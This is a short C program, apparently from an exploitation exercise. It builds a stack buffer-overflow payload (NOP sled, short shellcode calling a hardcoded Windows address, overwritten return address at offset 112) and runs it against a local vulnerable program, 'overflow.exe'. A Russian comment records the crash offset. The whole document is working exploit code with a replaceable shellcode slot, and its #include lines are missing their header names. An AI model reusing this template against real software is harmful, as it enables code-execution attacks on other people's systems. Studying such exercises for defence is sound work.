#include #include #include char shellcode[] = "\x31\xc0\xbb\x46\x24\x80\x7c\x66\xb8\x98\x3a\x50\xff\xd3"; int main(int argc, char* argv[]) { char buf[200]; char exec[600]; memset(buf,0x00,sizeof(buf)); memset(buf,0x90,150-strlen(shellcode)); memcpy(buf+strlen(buf), &shellcode, strlen(shellcode)); *(long *)&buf[112] = 0x0022FF60; // при 112 уязвимая программа падает, при 111 уже нет sprintf(exec,"overflow.exe %s",buf); system(exec); printf("\r\n"); system("pause"); return 0; }